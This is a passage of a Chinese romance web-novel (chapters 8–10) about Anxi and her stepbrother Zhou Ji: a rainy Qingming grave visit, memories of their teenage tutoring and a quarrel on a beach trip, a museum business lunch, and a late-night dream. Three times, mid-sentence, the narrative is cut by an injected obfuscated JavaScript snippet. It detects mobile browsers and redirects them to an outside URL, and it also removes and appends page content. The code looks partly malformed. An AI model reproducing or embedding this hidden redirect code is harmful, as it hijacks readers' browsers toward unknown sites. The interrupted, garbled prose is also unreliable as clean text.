安禧的成绩一直在中游徘徊,偶尔不用功松懈的时候,还会陷入吊车尾的险境,安雨萍心中着急,报了课外班却不怎么管用,无奈之下,只能和周睿诚商量,请周稷闲暇时,给安禧补一补课。 安禧抗议。 但抗议无效。 直到被迫和周稷一起坐在书桌前的时候,安禧心中仍有千万分的不服气。 “我知道你学习好,但你别妄想打着所谓哥哥的旗号来管我。”她硬邦邦说道,“我成绩好坏,和你没半毛钱关系。” 周稷一如既往的淡漠:“我知道。但这是安阿姨的意思,我也没有办法。” 还不等安禧再说什么,他就已经翻开她的练习题,从一堆红叉叉里挑出一道,“我觉得,可以先从基础题讲起。” 又是这副冥顽不灵的样子。 安禧感觉一拳打在了棉花上。 即便有千万个不情愿,补习还是持续了整个暑假。 安禧惊讶于周稷惊人的忍耐力,可以在她第四遍表示听不懂某题的时候,心平静气地继续讲第五遍;也会在她屡次听到困倦打瞌睡时,无声默许她浅眠十分钟。 关系似乎就这么缓和了一些。 暑假里,安雨萍和周睿诚都忙于工作,所以周稷给安禧的补课地点,有时会选定在家附近的麦当劳,学习之余,顺便解决吃饭问题。 有天,他们遇到了安禧班上的同学。 学校里的形同陌路,使得他们真正的关系几乎无人知晓,同学自然而然就误会到了别处。 安禧大窘,不得不硬着头皮承认—— “我们是重组家庭。周稷……其实是我哥。” 同学愣怔的间隙,周稷并没有说话,反倒是侧头看了眼安禧,眸中情绪不明。 良久,直到同学转而半信半疑地向他求证,才弧度浅浅地点了点头。 “嗯,我是她的哥哥。” 当时的安禧以为,周稷是在配合她自证。 但时过经年,她恍惚间有种错觉:如果把这句话理解为宣誓,似乎也未尝不可。 斑马线的绿灯亮起,身穿校服的少男少女呼朋引伴,从安禧的车前走过。 她这才回神。 ……怎么又想起他了。 8. 08 清明 清明节当天,黎川下了小雨。 一早起来,安禧洗漱吃了早餐,从衣帽间里挑了件款式简单的黑色长裙换上。 按照上次说好的安排,今天要去墓园祭拜周睿诚。 临出门前,她望了眼窗外。 细密连绵的雨还在下,地面被雨水洇成深了好几度的颜色,天空呈现出厚重的青白。 正要去伞柜里取伞的手,忽地顿了顿。 垂眸沉思片刻后,安禧缩回手,只拿上钥匙和包,离家关门。 周睿诚的长眠处,在黎川市郊的一座公墓里,环境幽美静谧。 当年他骤然被害离世,安雨萍伤心欲绝,花重金购置了这块墓地,聊表哀思与不舍。 雨天道路湿滑,安禧开了将近一个小时才到达。 她在车位上熄火,无意中抬头,只见不远处专供行人休息的六角亭里,已站了一道眼熟的背影,隔着雨幕看过去,竟有几分遗世独立的寂寥和萧索。 ——是周稷。 安禧打开车门,冒雨走了过去。 “等很久了吗?” 周稷回头,看见头发和肩膀沾了雨水的她。 “没多久。” 他蹙起眉,“怎么不撑伞?” 安禧答得轻飘飘:“忘带了。” 周稷低眼,从口袋里拿出折叠整齐的手帕,递到了安禧面前。 “擦擦。” 颜色素淡的经典格纹款式,右下角刺绣着精致的logo,和他常穿的风衣同个牌子。 安禧没想到,在这个几乎人人都使用纸巾的年代,还能见到手帕的踪影。 “……谢谢。” 她接过。 手帕有股淡淡的古龙水香气,厚重沉稳的木质调,丝丝缕缕地钻进肺腑。擦干身上的雨水,安禧也沾上了相同的味道。 使用过的手帕,直接归还回去,似乎有些不妥。安禧顺手把帕子放进包包里,说:“等我拿回去洗了再还你。” 周稷的表情似乎在说不必,但看着已经进了安禧包里的手帕,他也没有上手夺回来的道理,只好从了她的安排。 安雨萍昨天还在外地出差,今天凌晨的航班归抵黎川,起先和安禧通了电话,说可能要迟几分钟才能到,让她和周稷等等。 雨还在下,小小的六角亭,成为了附近唯一可以躲避风雨的容身之所。安禧和周稷肩并肩站着,面朝外头如烟的雨丝,两相无言了很久。 最终还是周稷先打破沉默:“柏宣年的画展,推进得怎么样了?” 工作话题,公事公办一般的口吻。 正常里透着几分生疏。 “还算顺利吧。”安禧平淡地说,“这阵子在做前期的准备,过几天应该能正式签合同。” 周稷的视线滑向她:“恭喜。” 安禧回视过去,笑了笑:“你比我同事还客气。” 周稷一怔,然后是半晌的哑然。 也许是该庆幸的。 至少,他们之间还剩下了客气。 清明时节,黎川有些乍暖还寒的意味,尤其是雨天。安禧身上穿得单薄,经不住四面八方吹过来的凉风,没忍住打了个喷嚏。 下一秒,肩头忽然一暖。 ——周稷替她披上了他的西装外套。 衣料上残存着他的体温,好似被裹进了一个厚实的怀抱里。 “衣服给我,你不冷吗?”安禧问。 周稷上半身只剩一件白衬衫,领口扣子系到最上,距离喉结几厘米。 “不冷。”他给出意料之内的回答。 安禧默默拢紧了西装衣襟,算是承接住了他的好意。 “你把车停在哪里了?刚才在停车场,好像没看见你的那辆。” 她又问。 周稷:“前两天在路边被人追了尾,刚送去修。今天打车来的。” 安禧眉心微蹙:“人没事吧?” “没事。当时我不在车里。” 安禧还想再说什么,但视线的余光里,一个撑伞的人渐渐朝他们靠近,如同给话里突兀地插了一个休止。 她认出来,那是安雨萍。 “榛榛,阿稷,你们没等太久吧?” 安雨萍风尘仆仆地赶来,怀里的白菊花瓣上也挂着雨珠,“都怪我昨晚到家太迟,早上差点错过闹钟。” 周稷温和道:“没事的。我和榛榛也才到几分钟。” 安雨萍随即看向了安禧。 当她瞧见安禧肩头披着的那件男士外套时,眼神微不可察地顿了顿。 但她什么也没说,只是拉起安禧的手,温柔地责备:“又忘记带伞了?多大的人了,还这么丢三落四。” 安禧下意识捏紧了西装的衣角,面上却仍笑:“我和您撑一把不就行了。” 她的个子比安雨萍高出半个头,理所应当地承担了撑伞的职责。周稷走在她们身侧,在黑色长柄雨伞的笼罩下,像个被虚化的影子。 周睿诚的墓,位于墓园中心区域的东北角,享有一块相对独立的草坪,十年前的售价就已高达六位数。 三人来到周睿诚的墓碑前,依次放下三束白色的鲜花。 安雨萍带的是白菊,而安禧和周稷,不约而同地选择了白色百合。 “下了雨,反而不好清扫了。”安雨萍叹息,望着墓碑上周睿诚的相片,“记得前两年清明,都还都是晴天。” 周稷俯身,随手拾起碑前的几片残叶。 “爸,我们来看你了。” 他轻声说。 * 这是周睿诚去世的第十一年,两个多月前的忌日,安禧在外出差,只有周稷和安雨萍过来祭拜。 人能够对逝者诉说的,无外乎就是细碎的近况,真要直抒思念的时候,反而有些开不了口的情怯。 安雨萍讲了几桩公司里的事情,感叹现在生意不好做,不比他还在的那几年;又说前几天刚和他们的老朋友聚过,令她想起从前。 最后按照惯例,安禧和安雨萍走到几步开外,留给周稷独白的空间。 “时间过得真快啊,”安雨萍不住地感慨,“有时候回想老周还在的日子,总觉得就像昨天的事情一样。” 安禧亦戚戚然。 周睿诚去世后,安雨萍身边不是没有出现过追求者,但几乎都不了了之。她偶尔也会想,是不是年纪大了的缘故,尤其最近这几年,她已经很难静下心来,重新投入一段感情中。 但和周睿诚的那几年,她从来不后悔。 “周叔叔,是个很好的人。”安禧说,“可惜……好人没有好报。” 当初,在安禧和周稷关系最冷淡的时候,是周睿诚主动出面调和的局面。 他深知,两个孩子并不是真心讨厌彼此,只是大概由于青春期自尊心作祟,谁也不肯做那个破冰的人,于是就在高一寒假,他专门订了普吉岛的机票和酒店,带着全家出国旅行过年。 启程前,他特意和周稷叮嘱:“这一路记得多照顾榛榛。别以为我没看出来,她刚搬来的时候,明明对你很亲切,可你却冷着人家,难怪她后来也不理你。” “你是哥哥,要主动。” 周稷抿紧了嘴唇。 “爸,我……” “你什么你?”周睿诚罕见地有些生气,“阿稷,你一直很懂事,不要让我失望。” 周稷沉默良久,终于轻声说:“……我会的。” 不过周睿诚的兄妹和解预想,进展却并不顺利。 旅途的大半时间里,安禧仿佛随身携带了避雷针,始终和周稷保持着相当的距离,根本不给他说话的机会。即便在四人同桌吃饭这种避无可避的场合,对于周稷的主动搭话,也只惜字如金地回应寥寥几语。 直到旅程第三天的傍晚,几人在海滩边游玩,周睿诚和安雨萍去纪念品商店选购,两个孩子则留在沙滩。 安禧仍旧与周稷保持着距离。 她一个人也能玩得好,堆沙子、捡贝壳、踩水,没人盯着她,她反而更自在。 海水渐渐漫过脚踝,远处的海平面上,一轮金灿灿的夕阳徐徐落下,晚霞绚丽,水色熔金,让人不自觉地想张开双臂,拥抱眼前的盛景。 安禧刚要发出满足的喟叹,下一刻,却猛然被人扯住了胳膊,重重地往后一拉。 “你干什么?!” 两道声音同时响起,生硬地碰撞。 “我走得好好的,你扯我干嘛,有病吧!?” 安禧怒目圆睁,劈头盖脸地质问突然出现的周稷。 周稷的脸色却也没好看到哪去,他皱着眉说:“海水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351432|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经快到你膝盖了,为什么还要往前走?万一等会儿涨潮,你来得及跑?” 这话放在安禧的耳朵里,简直是一种诅咒。 “我又不是没长眼睛,涨没涨潮还看不出来吗?”她愤怒地朝周稷喊,“平时把我当空气,这种时候倒是记得来逞威风,真以为你是我哥啊?” 周稷被怼得一愣。 “……我是为了你的安全着想。” 安禧冷笑:“我不用你为我着想。别装了周稷,你看我不顺眼就直说,假装塑料兄妹情有意思吗?” 周稷紧抿嘴唇,久久不语。 海浪冲刷着沙滩,潮声掩盖了难堪的沉默。 当安雨萍和周睿诚赶到他们身旁时,看到的正是两人僵持不下的场面。 “阿稷,怎么回事?”周睿诚蹙眉问道,“不是让你照顾榛榛吗?怎么闹成这样?” 周稷扭过头,低声说了句“对不起”。 安雨萍轻声安抚:“阿稷,没事的。那边的纪念品商店,有很多漂亮的小玩意,你和爸爸过去看看,还有没有想要的。” 眼看周稷和周睿诚走远,安雨萍才转过身,神情比刚才严肃了不少。 “榛榛,为什么要和哥哥吵架?” 安禧怒气冲冲地把来龙去脉说了一遍,最后不忘补充:“他就是故意的!他早就看我不爽了,一路上肯定在琢磨怎么整我,现在终于被他找到机会了!” 安雨萍哭笑不得:“榛榛,你应该和阿稷好好谈谈,他不是这样的孩子。” 她不劝也罢,这一劝,反而让安禧更恼了。 “妈,你怎么也站在他那边?”安禧委屈得快要冒眼泪,“他不是我哥,我讨厌他!最讨厌他!” 那次的旅行,给本就岌岌可危的兄妹关系,又添了一记沉重的打击。 回家之后,周睿诚也有些懊悔,不该急于一时,尤其是对于两个毫无感情基础的青少年,怎么可能强行表演兄友妹恭的戏码。 谁知,就在几个月后,高一学年临近结束时,周稷突然对他说:“爸,这次分科,我要选文。” 还不等周睿诚疑惑地问出为什么,周稷的下一句紧随而至—— “这个暑假,我可以帮她补习功课。” * 十几分钟后,周稷撑伞走了过来。 “差不多了,”他对安雨萍和安禧说,“回去吧。快中午了。” 安雨萍公司还有事,司机来接她先行离开。安禧站在自己的车门边,朝周稷抛去话:“送你一段?郊区不太好打车。” 周稷迟疑了几秒。 “……麻烦你了。” 居然没拒绝。 安禧点头,“那就上车吧。” 这是周稷第一次坐安禧的车。 和外表张扬的冰蓝色不同,车里内饰却是沉稳低调的黑,没什么多余的装饰,唯独有一股专属于她的浅淡香水味。 周稷坐在副驾,空间明明宽敞,可他却莫名感觉到一阵局促。 “去哪?”安禧准备往导航里输目的地。 “律所。”周稷说,“要看几份客户的资料。” 安禧在搜索栏里输入“衡泰”二字,随即自动跳出来一行地址。 回程的路上,小雨渐停,少顷就出了太阳,穿透浓密的云层,灿烂得有些刺眼。 衡泰律所,距离周稷现在的日常住处不远,安禧也曾经在那里住了三年。 周睿诚去世后,一切的财产继承事宜,都由他的一个朋友,以及安雨萍共同处理。由于周睿诚和安雨萍始终没有正式登记结婚,从法律意义上讲,周睿诚的所有遗产,均由周稷来继承,自然也包括这套价值不菲的房产。 所以安禧从没想过,她能一直在这里住到高中毕业。 导航的电子声提示,前方即将到达目的地。 “这边停就行,我自己走过去。”周稷说。 安禧靠边停稳,解锁车门。 “……谢谢你了。” 临下车时,周稷转头和她道谢。 “不客气。” 目送着周稷走远,安禧正要启步开走。 忽然,她觉出一丝熟悉。 抬眼望去—— 十几米开外,一排商铺的第一间,竟然就是之前她偶遇魏若昀的咖啡店。 9. 09 家人 在正式签约之前,柏宣年对合同条款的细则提出了几个新要求,希望能与美术馆方面的代表见面商谈。 安禧向馆里传达了消息,很快得到了同意。 星期二,云和美术馆的门口,安禧见到了柏宣年。 连同他一起下车的,还有一个出乎她意料的人。 “安小姐,我们又见面了。”柏宣年客气地打招呼,“没打扰你工作吧?” 安禧笑笑:“您言重了,我的工作,不就是做好和您的对接吗。” 她的目光,落在了柏宣年身后的周稷身上,“这么巧,周律师也来了。” 对视的时候,能格外感觉到周稷的视线冷冽。配着他合身考究的正装,更添了几分沉着的气度。 “我已经把法律方面的事务,全权委托给周律师了,”柏宣年对安禧说,“所以今天和贵馆的见面,也必须有他在场。” 安禧表示理解。 “我带二位去会议室。有些专业上的问题,还得和我们美术馆的法务同事再做探讨。” 她说着,做了个“请”的手势。 柏宣年从善如流,率先走进了美术馆的大门,周稷的脚步却稍顿。 “我不是故意瞒着你的。” 经过安禧身边时,他低声对她说。 安禧不以为意:“不用解释。无论柏老师的委托律师是谁,只要能确保我们合同的顺利推进,我都乐见其成。” 这是实话。 尽管她确实不太想在工作场合和周稷打交道。 云和美术馆的法务负责人,以及安禧的上司佟莉,都已经等在了会议室里。见面寒暄过后,双方各自落座,正式开始了本次的洽谈。 法律方面的问题,安禧实属外行,因此上午的会议全程,她几乎都在安静旁听,除非是针对展览细节的讲解。 周稷则不同。 这是他的主场,条分缕析,逻辑鲜明,没有冗余的长篇大论,却总能精准地击中要害,让人心悦诚服。 安禧几度看向他,又几度收回眼神。 ——原来工作状态中的周稷,是这样。 会议结束,佟莉让安禧带着柏宣年和周稷在馆里参观参观,一方面是拉近关系,另一方面,也是展现他们云和不俗的策划能力。 二楼展厅正在进行黎川美院的毕业展,这是云和与美院常年的合作项目,几乎每年都有学生的作品在展出过程中被看中,并以高价售出。 就譬如眼前的这件木雕,栩栩如生地刻画出城市街景,早在开展的第二天,便已被某位收藏家以十五万的价格收入了囊中。 “听说,安小姐的本科学校,也是黎川美院?” 柏宣年驻足其旁,不经意地问。 安禧点头:“我读艺术产业管理,是学校里少有的纯文化生。” “哦?” “我没什么绘画功底,但是又向往美院的氛围,高考报志愿的时候,看到这个专业有对外招生,干脆就任性了一把。” 安禧说完,笑着耸耸肩,“没想到运气那么好,竟然擦线录取了。” 柏宣年略有惊讶,不过随即又点点头说:“黎美的文化分其实也不低,你这是谦虚了。” 安禧随手把刘海拨到耳后,目光有意无意地扫过柏宣年身边,那个沉默了很久的人。 “真没谦虚。”她浅笑,“读书那会儿,我的成绩很普通,不像周律师,一看就是深受老师喜欢的优等生。” 蓦然被提及,周稷明显反应了两秒。 他的眸光朝安禧探来,个中意味颇复杂,“……过奖。” 柏宣年哈哈一笑:“这怎么叫过奖?周律师,你可是京州大学的法学高材生,如果这都算过奖,你让其他人怎么活?” 他顿了顿又问:“我记得,周律师也是我们黎川人。黎大的法学院,是和京大难分伯仲的,怎么你当初没有考虑留在黎川,而是千里迢迢跑到京州去了?” 他的话音刚落,安禧不由自主地看向了周稷。 但也就是那么一瞬。 随即便若无其事地挪开了视线。 她的反应,一清二楚地落在了周稷眼里。 这样的神态,在平时的工作中,他很熟悉。 尤其是当事人坚称对某件事不知情,却突然被证据戳破谎话的时候。 “原因太幼稚了,说出来,可能会让您笑话。” 柏宣年惊奇,“那我更是愿闻其详了。” 背在身后的双手,无意识地绞紧,像是极力要藏匿起一个秘密。 安禧惊觉自己手心里出了汗,可这并不应该,被问话的人明明不是她。 “可能是因为——” “和家人吵架了吧。” 周稷的语气太过寻常,好似开了个轻飘飘的玩笑。柏宣年不可思议地愣了好一会儿,才失笑着问:“你也有这么冲动的时候?是和父母吵架了吗?” 当然不。 安禧在心中默默替周稷做出回答。 周睿诚那时已经不在人世,而安雨萍因为他的去世,一直对周稷充满了愧疚,更不会和他争吵。 所以,当初和周稷吵架的,只有安禧。 至于原因…… 她抿了抿嘴唇。 如同在调动触觉的回忆,勾勒一个久远的、青涩的吻。 “我的父亲,在我十七岁那年就已经去世了。” 周稷说完,自嘲地笑了笑,“如果可以,我也希望还能有机会和他吵架。” 柏宣年没料到事情走向,连忙说了句“抱歉”。 “没事的,都过去了。”周稷温声说,“我的继母对我很好,虽然她没和我父亲正式结婚登记,但在我心里,她……和她的女儿,都是我的家人。” 气流涌动,轻晃起安禧的裙摆。她垂眸理平,嘴角牵扯出一缕自嘲般的笑。 ——家人。 多么温馨的形容。 应用在她和周稷身上,却显得那么讽刺。 * 参观完二楼的展厅,已是中午十二点。午餐时间,为示礼节,安禧主动提出,可以请柏宣年和周稷去美术馆的餐厅吃饭。 “这不合适吧?”柏宣年起初想推辞,“已经劳烦安小姐带我们看了这么久的展,怎么还能让你再破费。” 安禧笑着解释:“柏老师多虑了。我们美术馆的员工,可以在餐厅刷员工卡免费用餐,也算是福利之一。所以哪怕加上你们两位,也依然是一顿免费的午餐。” 话说到这个份上,再要拒绝,未免显得不近人情。 于是柏宣年转头问周稷:“周律师没别的安排吧?既然安小姐愿意做东,我们恭敬不如从命?” 周稷没有异议,点头说好。 餐厅位于美术馆的主馆旁,自助形式为主,菜品种类囊括中西,在评分软件上的得分颇高,许多来美术馆参观的游客,都会选择来此打卡。 正值中午饭点,餐厅里人满为患。 “这个三文鱼味道很好,前面那道盐焗虾也不错。” 安禧熟门熟路地给身边两人介绍。 “甜品区容易踩雷。马卡龙不推荐,太甜;冰淇淋和抹茶千层,值得一试。” 柏宣年犹豫了半天,终于还是把夹子放了回去,无奈地摇头笑笑:“我真吃不来生食。还是往前看看吧。” 他说着,无意间瞥见了周稷的餐盘,随口说道:“周律拿的菜,和安小姐几乎一样啊。” 安禧和周稷不约而同地低眼看向盘中。 ——还真是。 除了一道辣炒年糕,周稷盘子里的菜品,和安禧一模一样。 “可能周律师比较信任我的眼光吧。”安禧轻松打了个哈哈,“算是一种肯定?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351433|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周稷手里的夹子在空中停滞了片刻,似乎连他自己都没意识到这个问题。 不过安禧已经明摆着用玩笑圆了过去,再做过多的反应,反倒显得多余了。于是周稷顺着她的话道:“你的眼光当然值得信任。” 安禧回之以一笑。 仿佛刚才只是个无伤大雅的小插曲。 下一道菜,是干锅豆腐。佐料下得很猛,锅底红油光亮。 柏宣年自然略过,安禧却神色自若地拿起餐夹,往自己的盘中添了不少。 她掂着自己餐盘的分量,回头瞧了周稷一眼。 ——果然没拿。 “你现在不是能吃了吗?” 她状似无意,用只有他们两人能听清的音量问。 “严格来讲,不算。” 周稷的眼神拂过她的脸。 “只是比从前能忍了。” 安禧一怔。 忍? 忍什么呢? ……胃痛吗? 她一时有些出神。 餐台边,突然隐隐传来骚动,似乎有人鲁莽插队,且不慎打翻了餐盘,连带周围一片遭到殃及。 惊呼碰撞中,安禧不知被谁推了一把,脚下来回踉跄几步,眼看就要失去重心。 但有人反应更快。 仅仅下一秒,安禧的腰就被一只手稳稳托住,连同那人身上浅淡的松木气息,一起笼住了她的意识。 安禧惊疑未定地抬头—— “没事吧?” 映入眼帘的,是骤然拉近了距离的周稷,“被撞到了吗?要不要紧?” 安禧凝神,下意识后退了半步,从他的臂弯撤离。 “……没事的。” 顿了顿又说:“谢谢你了。” 感受到温热离开,周稷不自然地垂下了手臂。 “不用谢。” 开口却有些疏离,“应该的。” * 吃完午餐,柏宣年和周稷告别了安禧,共同乘车离开。 “关于授权范围的问题,我回去再认真想想,今晚给您答复。”周稷说。 柏宣年:“明天也行。没那么着急。” 汽车在路上疾驰,窗外的景致飞快倒退。眼看着汽车逐渐驶入高楼林立的商务办公区,周稷对前排司机说:“就在前面的A座停吧,我走回去就好。” 柏宣年问:“不需要送到楼下么?” “不用了。我顺路去买杯咖啡。” 汽车缓缓靠边停稳,周稷下车,和柏宣年挥手作别。 临街的咖啡店,才刚迎来下午时段的点单高峰,机器研磨萃取的声响不断。 周稷在前台阅览菜单,正要向店员开口,忽听身后一道活泼雀跃的声线:“周律,好巧啊。” 闻声,周稷转过了头。 “是你啊。”看清来者,他颔首示意,“也来买咖啡?” 魏若昀语气欣然:“对啊,趁午休还没结束。” 她见周稷显然是同样的来意,便顺口说:“周律,我请客吧。” 周稷摇头:“不用了。” 以他和魏若昀之间的工资差距,如果还需她来请客,他大概也可以改名周扒皮了。 沉吟片刻,他又说:“这样吧,今天我买单,给组里的同事都带一杯,请大家下午茶。” 魏若昀高兴道:“谢谢周律!” 工作群里开了接龙,很快就统计好了数量,拿铁与美式居多,夹杂着几杯无咖冰饮。 周稷按照众人的点单,一一报给了店员。魏若昀站在他身边,提醒道:“周律,你自己还没点呢。” “嗯。” 周稷其实没忘,只是习惯使然,把自己放在了最后的位置。 他的目光顺着饮品单往下滑,最终停在了一处地方。 “——我要一杯冰摩卡。” 10. 10 做梦 送走柏宣年的当天,安禧加班到很晚。 到家已经是将近十二点。从地库上来,进了家门,她随意蹬掉脚上的皮鞋,丢开包,无力地仰倒在沙发上。 屋子里只开了一盏落地灯,光线暗黄,地面上拖出长长的影子,边界模糊不清,像是纸上洇开的几痕淡墨。 这个点,很多人都已经入睡,从落地玻璃窗往外看去,远处夜景辉煌,近处却是灯火寥落。 安禧起身,从柜子里拿出一瓶尚未喝完的白葡萄酒,给自己倒了一杯。 普朗酒庄的雷司令,年份不算久,口感轻盈馥郁,是安禧的心头好。 她自知酒量一般,饮酒也克制,少有放纵的时候。不过想到明天就是周末,无需担心宿醉带来的影响,她便放松了顾忌,一杯接着一杯,竟把剩下的大半瓶都喝完了。 酒精很快上头,安禧昏昏沉沉地卸妆洗漱,几乎在脑袋沾上枕头的后两秒,就跌进了睡眠里。 ——她做了个梦。 梦里,她见到了十七岁的周稷。 * 经过高一暑假的两个月的无偿补习,高二开学考,安禧的名次果然有了小幅度的进步,与此同时,她和周稷的关系,也缓和了许多。 开学第三天,数学老师占用的自习课拖堂,安禧比平时晚了十几分钟才放学。 走到校门口时,她却碰到了早该回家的周稷。 她没问对方为什么还没回家,同行变成了顺理成章的事。回想起来,似乎也就是那天以后,不知是谁的默认,他们开始了结伴上下学的日子。 稀薄的兄妹情,建立得十分曲折。 安禧有时觉得周稷还挺通情达理,有时又觉得他有些莫名其妙。尤其是在路上偶遇异性同学打招呼的时候,他总要冷脸一阵子,像是对方欠了他多少钱似的。 为此,安禧暗戳戳地计划过,要找个理由中断和周稷的结伴同行。 可她万万没有想到,就在这个念头产生的不久之后,周睿诚去世了。 周稷肉眼可见地变得愈发沉默,头顶无时无刻不笼罩着阴沉。安禧隐隐担心,再这样下去怕要出事,只能暂且搁置了计划,开始努力地和周稷没话找话。 “周稷,我这题不会做。” “周稷,我英文词典不见了,在你那儿吗?” “周稷,楼下新开了一家甜品店,陪我一起去吧。” …… 她的意图实在明显,周稷不傻,又怎会看不出来。 终于有一天的放学路上,他截住了安溪漫无边际的话。 “你不用这样。”他一如寻常的冷淡,像块怎么也捂不热的冰,“我不需要同情。” 安禧有些意外,却不肯承认这是施舍:“我没有在同情你。” 周稷顿了几秒。 “我不是怪你,”他抬头望着天,“只是觉得……” 安禧耐心等着他的下文。 “……算了。”周稷忽然摇头,“没什么,回家吧。” 怎么就算了? 安禧不明所以。 可接下来,任凭她怎么追问,周稷却是再不愿多说。一夜之间,他们好像骤然退回了起初的关系,一温一凉,难为所动。 安禧百思不得其解。 几天后的某个晚上,她写完作业,偷摸打了会儿游戏。 战况胶着,她两把接连失利,恼怒地出门倒水冷静。 路过客厅的时候,她的脚步却一顿。 ——周稷的房门没关严,门缝里透出来一缕微弱的光。 这不是他平时学习开的台灯。 身体的反应,远远比大脑来得更快。等安禧意识到自己在做什么时,她已经站在周稷的房间门口,推开了门。 映入眼帘的,是一动不动坐在床边的周稷。 光线辐射范围有限,他大半个身体都隐没在黑暗里,看不清表情,像一座沉寂的山。 安禧知道,周稷察觉了自己的闯入,可对此,他却吝于做出一丝一毫的反应。 这是偶然吗? 还是说,家庭剧变以来的所有夜晚,他都是这样度过的? 安禧的心,没来由地揪了一下。 一步、两步。 她走到周稷面前。 “虽然不知道你最近为什么总是不理我,但我想说——” 安禧半蹲下来,和他的视线齐平,“治愈自己的方式有很多种,如果你觉得保持安静会让你更好受,那也挺好的。不过,假如有一天你想和别人聊聊,我非常乐意做你的倾听者。” 说着,她仿佛为了表示诚意,郑重其事地握住了周稷的手。 和预想中的触感不同,那样冷冽的眼神底下,掌心温度居然是出乎意料的燥热,好似雪夜里的一块炭火。 安禧第一次这样拉着男生的手,于深夜,在对方的房间。 可她心里却没半分不该有的念头,只是执拗地盯着周稷,期待他给一个回答。 她都没意识到自己的眼神有多炽热。 良久,周稷从这场无声较量中败下阵来。 “这么晚了,怎么还不睡?” 他问。 “明天还要上课。” 这种时候,主动开口便是妥协。安禧终于松了一口气。 深知实话不能讲,她脑筋一转:“我在熬夜学习啊。这段时间没人给我辅导,我只好自己埋头苦学了。” 还不忘扮个可怜。 周稷半信半疑:“真的?” “……当然是真的。” 话音刚落,裤子口袋里的手机,忽然滑落到了地上。 屏幕未锁,来不及退出的游戏界面,就这么直愣愣地呈现在了周稷的眼前。 安禧:“……” 周稷:“……” 两相无言的沉默,来得恰如其时。 周稷的额头上的青筋跳了跳:“这就是你的——‘埋头苦学’?” “呃……” 安禧尴尬地笑了两声,“学久了……调节一下。” 这个谎话,编得毫无水准可言,周稷不禁蹙起了眉头,满脸的一言难尽。 他轻轻叹了口气,俯身捡起手机,递还给安禧。 “从明晚开始,我会和你一起写作业。有什么不懂的,直接来问我。” 他的瞳色很深,看人的时候,总显得格外专注。被这样的眼神一瞧,安禧怎么也说不出半个“不”字,昏头昏脑地答应了这个日后令她万分后悔的要求。 其实细究起来,时间已经过了很久。可是即便在梦中,周稷皱着眉的样子,依然无比清晰,恍若只是昨天。 梦境与现实的虚浮界线,一触即崩。安禧缓缓睁开了眼睛,拿起枕边的手机看了眼,原来才是凌晨两点半。 锁屏界面上,却有一条孤零零的微信消息。 【今天午餐多少钱?我转给你。】 来自于周稷。 两个多小时以前。 手机屏幕的光线,照亮了被窝里的一个角落,安禧逐字看过去,没忍住哂笑。 说他见外,倒是专挑着凌晨的时间点给人发消息;可说不见外,却连几十块的饭钱都要和她算清楚。 世界上竟存在这么矛盾的人。 她打了个哈欠,一气呵成地简短回复: 【不用。我请。】 然后潇洒丢开了手机,重新沉进了一枕酣梦里。 * 次日一早,周稷准点起床晨跑。 这是他雷打不动的习惯,相比于自律,倒更像是一种强迫。 临出门前,他才想起来看手机,十几条凌乱的工作信息和APP推送里,他一眼看到了安禧几个小时前的回复。 将近凌晨三点发送的。 他眉心轻拧。 怎么那个点还在回消息? 结束晨间的运动后,周稷还是忍不住给安禧发了句:【那么晚还没睡,失眠了吗?】 直到中午,他才收到安禧的回复。 【不是失眠。】 【只是梦到你了。】 接连的两条,让周稷愣在了当场。 梦? 什么梦? 好的,还是坏的? 他半晌没想出所以然。 几乎就在几分钟后,任皓哲打电话来,叫他去Sunset喝一杯。 难得有个清闲的周末,周稷应允,说过会儿就来。 电话即将挂断的前一秒,他也不知自己哪根筋不对,突然鬼使神差地问了任皓哲一个问题:“假如……我是说假如,你给一个女孩子发了微信,她却在凌晨三点的时候才回复,这说明什么?” 听筒里诡异地寂静了好几秒。 良久才传来任皓哲惊悚的吸气声:“哪个女孩半夜三点给你发微信了?” 他的猜测精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351434|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准而丝滑,完全出乎了周稷的预料。他不禁语塞,竟然一时忘记了否认。 “我是问你这个行为背后的含义。” 他补救一样地强调。 任皓哲却有自成一派的理论:“对方的身份,也是判断含义的凭据之一。” 说着,他忽然福至心灵,提起声音问;“等等,你说的这个人,该不会是你妹妹吧?” 周稷愕然。 他瞬间陷入了巨大的自我怀疑——情况有那么显而易见吗? 听着他这边的沉默,任皓哲明白了大半。 “看来是猜对了。”他长舒了一口气,“你别说,就安大小姐那个脾气,还真不好下定论。要么是熬夜熬到了那个点,要么是故意和你置气,总之,建议你先反思一下自己,最近是不是哪里惹到你妹了。” ……原来如此么? 周稷若有所思。 